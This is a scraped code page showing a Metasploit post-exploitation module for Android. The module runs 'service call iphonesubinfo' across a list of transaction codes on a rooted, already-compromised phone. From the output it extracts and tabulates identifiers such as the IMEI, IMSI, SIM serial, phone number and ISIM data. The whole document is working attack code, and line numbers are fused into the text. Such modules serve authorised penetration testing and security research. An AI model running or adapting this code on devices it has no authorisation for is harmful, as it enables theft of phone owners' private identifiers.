Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/android/gather/sub_info.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::Common8include Msf::Post::Android::Priv9include Msf::Post::Android::System1011def initialize(info = {})12super(13update_info(14info,15{16'Name' => 'extracts subscriber info from target device',17'Description' => %q{18This module displays the subscriber info stored on the target phone.19It uses call service to get values of each transaction code like imei etc.20},21'License' => MSF_LICENSE,22'Author' => ['Auxilus'],23'SessionTypes' => [ 'meterpreter', 'shell' ],24'Platform' => 'android'25}26)27)28end2930def run31unless is_root?32print_error('This module requires root permissions.')33return34end3536@transaction_codes ||= [37'DeviceId',38'DeviceIdForSubscriber',39'ImeiForSubscriber',40'DeviceSvn',41'SubscriberId',42'SubscriberIdForSubscriber',43'GroupIdLevel1',44'GroupIdLevel1ForSubscriber',45'IccSerialNumber',46'IccSerialNumberForSubscriber',47'Line1Number',48'Line1NumberForSubscriber',49'Line1AlphaTag',50'Line1AlphaTagForSubscriber',51'Msisdn',52'MsisdnForSubscriber',53'VoiceMailNumber',54'VoiceMailNumberForSubscriber',55'CompleteVoiceMailNumber',56'CompleteVoiceMailNumberForSubscriber',57'VoiceMailAlphaTag',58'VoiceMailAlphaTagForSubscriber',59'IsimImpi',60'IsimDomain',61'IsimImpu',62'IsimIst',63'IsimPcscf',64'IsimChallengeResponse',65'IccSimChallengeResponse'66]67values ||= []68arr ||= []69for code in 1..@transaction_codes.length do70print_status("using code : #{code}")71cmd = "service call iphonesubinfo #{code}"72block = cmd_exec(cmd)73value, tc = get_val(block, code)74arr << [tc, value]75end7677tc_tbl = Rex::Text::Table.new(78'Header' => 'Subscriber info',79'Indent' => 1,80'Columns' => ['transaction code', 'value']81)8283arr.each do |a|84tc_tbl << [85a[0], # TRANSACTION CODE86a[1] # value87]88end89print_line(tc_tbl.to_s)90end9192def get_val(data, code)93parsed = data.gsub(/Parcel/, '')94string = ''95100.times do |i|96next if i % 2 == 09798str = parsed.split("'")[i]99break if str.nil?100101string += str102end103v = ''104string.split('.').each do |chr|105next if chr.nil? || (chr == "\n")106107v += chr108end109return v, @transaction_codes[code - 1]110end111end112113114